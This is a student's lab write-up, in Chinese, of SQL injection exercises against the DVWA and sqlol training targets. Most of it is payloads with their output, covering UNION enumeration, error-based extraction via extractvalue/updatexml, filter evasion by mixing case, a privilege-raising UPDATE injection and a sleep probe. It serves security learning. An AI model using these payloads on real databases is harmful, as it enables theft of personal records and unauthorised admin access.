写在前边,如果在后边的SQL注入示例中出现了多种注入方法的出现,那么第一个就是老师给的标准案例,后边的就是我个人根据理解自己写的,都是可以的
(啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊阿西吧一堆官方套话,我在这儿就说人话了(bushi))
个人理解:一种听过想网站内恶意传入某种参数导致连接数据库并访问的时候出现问题,导致出现一些攻击者出现的东西。比如:
-- 这是正常情况下的SQL语句,其中的$id表示的是需要查询的信息id
-- 正常的id emmmmm 就很正常
SELECT * FROM TABLEname WHERE `id` = '{$id}';
-- 但是如果$id的值为 ' or 1=1;# 呢?
-- 来看一下完整的sql语句吧
SELECT * FROM TABLEname WHERE `id` = '' or 1=1;#';
-- 懂我意思了没,这种操作,叫做永真式简单注入,后边还会说
测试环境:DVWA
1' and 1=1;# -- 判断是否可以注入
1' or 1=1;# -- 尝试获取数据表全部信息
1' union all select 1,2;# -- 来判断可以获取的参数个数
1' union all select 1,(@@version);# -- 来获取数据库版本
1' union all select 1,(database());# -- 来获取数据库名称
1' union all select 1,group_concat(column_name) from information_schema.columns where table_name='users';#
-- 获取表所有列名
首先解压缩素材文件到服务器根目录下(这边在Win11操作系统下使用phpstudy搭建环境)
打开根目录,进入目录 \MCIR-master\sqlol\includes 下
其中有一段文本默认是这样的:
allow_url_fopen=On
allow_url_include=On
点一下Challenges,会出来14道题
好了接下来就开始一道一道地搞了(说英语不好的,都给我憋着…IT界的人凭实力瞎蒙(bushi))
差不多就这么个意思
注入就行
'or 1=1:#
然后下边写的很清晰嘛,这么一折腾,最后服务器得到的SQL语句是酱紫的:
SELECT username FROM users WHERE username = ''or 1=1;#' GROUP BY username ORDER BY username ASC
结果如下:
Array ( [username] => Herp Derper )
Array ( [username] => SlapdeBack LovedeFace )
Array ( [username] => Wengdack Slobdegoob )
Array ( [username] => Chunk MacRunfast )
Array ( [username] => Peter Weiner )
可见全部结果都已经回显了出来。
差不多就这么个意思
这边得分以下几步:
注入
-- type 1
'and 1=2 union select concat_ws(char(32,58,32),user(),database(),version());#
-- type 2
'and 1=2 union select concat_ws('-',user(),database(),version());#
SQL语句变成了:
-- 1.
SELECT username FROM users WHERE username = ''and 1=2 union select concat_ws(char(32,58,32),user(),database(),version());#' GROUP BY username ORDER BY username ASC
-- 2.
SELECT username FROM users WHERE username = ''and 1=2 union select concat_ws('-',user(),database(),version());#' GROUP BY username ORDER BY username ASC
返回结果:
-- 1.
Array ( [username] => root@localhost : sqlol : 5.7.26 )
-- 2.
Array ( [username] => [email protected] )
- 在这上边先加上了and 1=2则是直接否定了前边的sql语句,因为结果必错(事实证明,如果用 or 1=1 也是可以的,那样的话sql就应该注入下边这个,但是回显会很多:)
'or 1=1 union select concat_ws('-',user(),database(),version());#
根据上一步已经了解到了所用数据库的数据库名为"sqlol"
注入:
' and 1=2 union all select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol';#
SQL语句变成了:
SELECT username FROM users WHERE username = '' and 1=2 union all select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol';#' GROUP BY username ORDER BY username ASC
回显:
Array ( [username] => ssn )
Array ( [username] => users )
- 太多了,反正是存储了一大堆和整个数据库中的数据表有关系的视图,这里边提到的TABLES表存储的则有数据库及其存储对应表的关系
- 可以以下博客详解:
- [https://blog.csdn.net/kikajack/article/details/80065753](https://blog.csdn.net/kikajack/article/details/80065753)
- Illegal mix of collations for operation 'UNION'
- 初步原因是字符串编码的问题,我最终的解决方法是将users表中的username字段的编码方式改成了和information_schema的编码统一的utf8_general_ci,反正个人理解就是:联合查询的情况下,成立的起码条件就是两边数据表的编码格式需要保持一致
- 可以参见以下博客:(ps:有条件的话用navicat改就行,用不着像这两篇里那样)
- [https://blog.csdn.net/kikajack/article/details/80065753](https://blog.csdn.net/kikajack/article/details/80065753)
- [https://blog.csdn.net/u011250160/article/details/114727359](https://blog.csdn.net/u011250160/article/details/114727359)
根据上边的查找内容已经可以确定目标数据表的表名为ssn,所以接下来我们需要查找所需要的具体列的列名
注入:
' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn';#
SQL语句变成了:
SELECT username FROM users WHERE username = '' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn';#' GROUP BY username ORDER BY username ASC
回显:
Array ( [username] => name )
Array ( [username] => ssn )
根据上边的几步,可以了解到目标数据库名叫sqlol,数据表名叫ssn,目标列名有name和ssn
根据上边的这些信息,可以直接注入了
注入:
-- type 1
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn;#
-- type 2
'and 1=2 union all select concat_ws(' - ',`name`,ssn) from sqlol.ssn;#
SQL语句变成了:
-- 1.
SELECT username FROM users WHERE username = ''and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn;#' GROUP BY username ORDER BY username ASC
-- 2.
SELECT username FROM users WHERE username = ''and 1=2 union all select concat_ws(' - ',`name`,ssn) from sqlol.ssn;#' GROUP BY username ORDER BY username ASC
回显(这结果,不就好起来了吗?):
-- 1.
Array ( [username] => Herp Derper : 012-34-5678 )
Array ( [username] => SlapdeBack LovedeFace : 999-99-9999 )
Array ( [username] => Wengdack Slobdegoob : 000-00-1112 )
Array ( [username] => Chunk MacRunfast : 666-67-6776 )
Array ( [username] => Peter Weiner : 111-22-3333 )
-- 2.
Array ( [username] => Herp Derper - 012-34-5678 )
Array ( [username] => SlapdeBack LovedeFace - 999-99-9999 )
Array ( [username] => Wengdack Slobdegoob - 000-00-1112 )
Array ( [username] => Chunk MacRunfast - 666-67-6776 )
Array ( [username] => Peter Weiner - 111-22-3333 )
这边就不给翻译了哈,这边的内容和上一道题重复度很高,唯一的区别就在于原有sql语句的不同。上一道题的sql语句中间有单引号但是这里没有,所以重复上一道题的步骤但是把注入的语句中的最开头的单引号删掉就可以了。没啥需要注意的【啊我呸】。
仔细看了一遍,更改一下上边的说法,这里边设计了单引号过滤——Single quotes removed(上边写的清清楚楚的),所以concat_ws调用的第一个参数必须用char拼接字符串的形式而不能直接用懂我意思了么!!
差不多就这么个意思
分为以下几步:
注入:
'and 1=2 union select concat_ws(char(32,58,32),user(),database(),version());#
SQL语句变成了:
SELECT username FROM users WHERE username = ''and 1=2 union select concat_ws(char(32,58,32),user(),database(),version());#' GROUP BY username ORDER BY username ASC
返回结果:
Array ( [username] => root@localhost : sqlol : 5.7.26 )
从上一步了解到数据库名字叫做sqlol
所以现在找数据表
注入:
' and 1=2 union all select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol';#
SQL语句变成了:
SELECT username FROM users WHERE username = '' and 1=2 union all select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol';#' GROUP BY username ORDER BY username ASC
回显(这玩意儿要是找不到对的就在上边增加筛选条件然后重新刷):
Array ( [username] => ssn )
从上边了解到目标数据表表名为ssn,继续
注入
' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn';#
SQL语句变成了:
SELECT username FROM users WHERE username = '' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn';#' GROUP BY username ORDER BY username ASC
回显:
Array ( [username] => name )
emmmmm,这玩意儿他够吗?不够,再来!!!
注入
' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 1,3;#
SQL语句变成了:
SELECT username FROM users WHERE username = '' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 1,3;#' GROUP BY username ORDER BY username ASC
回显:
Array ( [username] => ssn )
emmmmm这样就差不多了,接着看看有没有别的列(虽然已经知道了(bushi))
注入
' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 2;#
SQL语句变成了:
SELECT username FROM users WHERE username = '' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 2,4;#' GROUP BY username ORDER BY username ASC
回显:
好了,回显为空就说明只有两个列了,一个叫name,一个叫ssn
注入:
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 0,1;#
在这儿我就不多说了,一步一步都出来,直接放注入用的东西了。算上上边的一共有:
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 0,10;#
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 1,10;#
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 2,10;#
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 3,10;#
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 4,10;#
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 5,10;#
-- 到最后这一行回显就为空了,就到头了
-- 这个是老师用的,我还略有迷惑emmmm
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 1 offset 1;#
差不多就这么个意思
看到这个”没有返回结果“的时候虎躯一震,但后来仔细想想大部分的sql实战注入不都是不报错也都没有回显的吗?那就来试试√
参考着老师给的步骤先研究研究(还是经典四个步骤)
注入:
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),user(),database()))))) and '1'='1
SQL语句变成了:
SELECT username FROM users WHERE username = ''and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),user(),database()))))) and '1'='1' GROUP BY username ORDER BY username ASC
返回服务器报错
XPATH syntax error: '~root@localhost : sqlol'
/*
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
*/
SELECT extractValue('','/a/attribute::href') body FROM `casexml`
例如:SELECT ExtractValue('', '/a/b'); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。
-- 注入语句可以这样写:
and extractvalue(null,concat(0x7e,(代码操作),0x7e))
-- 把所需要查询出来的信息放在上边这个例子中的“代码操作”里边就行
从上一步了解到数据库名字叫做sqlol
所以现在找数据表
注入:
'and (extractvalue(1,concat(0x7e,( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol')))) and '1'='1
SQL语句变成了:
SELECT username FROM users WHERE username = ''and (extractvalue(1,concat(0x7e,( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol')))) and '1'='1' GROUP BY username ORDER BY username ASC;
服务器报错回显:
Subquery returns more than 1 row
emmmmmm好像并没有什么卵用
这时候就应该参考上一道题所提到的“单行回显”了。加上limit就好。
重来!!!!!!!!!!
注入:
'and (extractvalue(1,concat(0x7e,( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol' limit 0,1)))) and '1'='1
服务器报错回显:
XPATH syntax error: '~ssn'
注入:
'and (extractvalue(1,concat(0x7e,( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol' limit 1,1)))) and '1'='1
服务器报错回显:
XPATH syntax error: '~users'
注入:
'and (extractvalue(1,concat(0x7e,( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol' limit 2,2)))) and '1'='1
服务器报错回显:
Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
这一段自己分析自己品,然后自己写出来,那感觉太爽了
废话不多说,跟上边的差不多,直接开干!!
注入:
'and (extractvalue(1,concat(0x7e,( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 0,1)))) and '1'='1
服务器报错回显:
XPATH syntax error: '~name'
注入:
'and (extractvalue(1,concat(0x7e,( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 1,1)))) and '1'='1
服务器报错回显:
XPATH syntax error: '~ssn'
注入:
'and (extractvalue(1,concat(0x7e,( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 2,2)))) and '1'='1
服务器报错回显:
注入:
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 0,1)))) and '1'='1
服务器报错回显:
XPATH syntax error: '~Herp Derper : 012-34-5678'
以此类推
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 0,1)))) and '1'='1
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 1,1)))) and '1'='1
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 2,2)))) and '1'='1
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 3,3)))) and '1'='1
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 4,4)))) and '1'='1
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 5,5)))) and '1'='1
然后这不就好起来了吗?问题解决
差不多就这么个意思
' or ascii(substring((select user()),1,1))=111#
差不多就这么个意思
老套路,错误注入就行
注入:
'or updatexml(0,concat(0x01,(select concat_ws(char(32,58,32),`name`,'',ssn) from sqlol.ssn limit 0,1)),0)#
SQL语句变成了:
SELECT username FROM users WHERE username = ''or updatexml(0,concat(0x01,(select concat_ws(char(32,58,32),`name`,'',ssn) from sqlol.ssn limit 0,1)),0)#' GROUP BY username ORDER BY username ASC
服务器错误回显:
XPATH syntax error: 'Herp Derper : : 012-34-5678'
select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1
-- skr~~~差不多就这么个意思,类型很想,自己体会去
差不多就这么个意思
有一说一,老套路了,用我们的老朋友:报错查询
注入:
'or updatexml(0,concat(0x01,(select concat_ws(char(32,58,32),`name`,'',ssn) from sqlol.ssn limit 0,1)),0)#
SQL语句变成了:
DELETE FROM users WHERE username = ''or updatexml(0,concat(0x01,(select concat_ws(char(32,58,32),`name`,'',ssn) from sqlol.ssn limit 0,1)),0)#'
服务器报错回显:
XPATH syntax error: 'Herp Derper : : 012-34-5678'
报错注入yyds!!!
差不多就这么个意思
既然这里过滤了union和select等,那我们就玩一波大小写混淆√
注入:
'aNd 1=2 uNiOn all SeLEct concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn;#
然后就…翻车了
差点忘了 # 这样的注释符也被注释掉了
那么就这样
注入:
'uNiOn SeLEct concat(`name`,char(32,58,32),ssn) from sqlol.ssn uNion seLeCt null from users whEre username='
SQL语句变成了:
SELECT username FROM users WHERE username = ''uNiOn SeLEct concat(`name`,char(32,58,32),ssn) from sqlol.ssn uNion seLeCt null from users whEre username='' GROUP BY username ORDER BY username ASC
成功得到回显:
Array ( [username] => Chunk MacRunfast : 666-67-6776 )
Array ( [username] => Herp Derper : 012-34-5678 )
Array ( [username] => Peter Weiner : 111-22-3333 )
Array ( [username] => SlapdeBack LovedeFace : 999-99-9999 )
Array ( [username] => Wengdack Slobdegoob : 000-00-1112 )
差不多就这么个意思
注入:
-- 这个是老师给的,注入之后会使得整个username都被改掉,我认为因该添加一个联合查询
admin',isadmin=1 where id=3;#
-- 这是我改进的emmmmm算了还是用老师的吧
slect username from users where id=3',isadmin=1 where id=3;#
插入之后的SQL语句:
UPDATE users SET username = 'admin',isadmin=1 where id=3;#' WHERE isadmin = 0
UPDATE users SET username = 'slect username from users where id=3',isadmin=1 where id=3;#' WHERE isadmin = 0
无回显,下边的上图是插入前的数据表,下图使用上边的方法插入后的数据表
差不多就这么个意思
在这边我就一步一步具体展示了哈
注入:
concat_ws(' - ',user(),database())
SQL语句变成了:
SELECT concat_ws(' - ',user(),database()) FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
服务器回显:
Array ( [concat_ws(' - ',user(),database())] => root@localhost - sqlol )
Array ( [concat_ws(' - ',user(),database())] => root@localhost - sqlol )
Array ( [concat_ws(' - ',user(),database())] => root@localhost - sqlol )
好了,了解到了数据库名叫sqlol
注入:
TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol'#
SQL语句变成了:
SELECT TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol'# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
顺利得到回显:
Array ( [TABLE_NAME] => ssn )
Array ( [TABLE_NAME] => users )
ssn这个目标数据表不就拿到了吗?
注入
COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn'#
SQL语句变成了:
SELECT COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn'# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
顺利得到回显:
Array ( [COLUMN_NAME] => name )
Array ( [COLUMN_NAME] => ssn )
列名:name和ssn
注入
concat(name,' :: ',ssn) from ssn#
SQL语句变成了:
SELECT concat(name,' :: ',ssn) from ssn# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
顺利得到回显:
Array ( [concat(name,' :: ',ssn)] => Herp Derper :: 012-34-5678 )
Array ( [concat(name,' :: ',ssn)] => SlapdeBack LovedeFace :: 999-99-9999 )
Array ( [concat(name,' :: ',ssn)] => Wengdack Slobdegoob :: 000-00-1112 )
Array ( [concat(name,' :: ',ssn)] => Chunk MacRunfast :: 666-67-6776 )
Array ( [concat(name,' :: ',ssn)] => Peter Weiner :: 111-22-3333 )
好起来了(good!)
差不多就这么个意思
注入:
if(1=2,1,sleep(5))#
有延迟,证明这里可以注入
重新编辑再注入:
1 and updatexml(0,concat(0x01,(select concat_ws(char(32,58,32),`name`,'',ssn) from sqlol.ssn limit 0,1)),0)#
-- if(1=2,1,select concat(`name`,' :: ',ssn) from sqlol.ssn)#
-- 折腾了半天还得是报错注入呀
Navicat一试就成功了,放在靶场里才想起来无报错显示…
wnm…再来!!!
差不多就这么个意思
这时候注入之后就会发现,没有出现回显,但是在网页的前端出现了一段js源码,在这里我们只是让网页弹出了一段警告框,但是如果我们插入的东西再多一点,是不是就可以获取更多的东西了?
这段好像XSS注入呀…
差不多就这么个意思
需要使用python编程和sqlmap工具,在准备好之后再回来更~~~
差不多就这么个意思
– 开发中…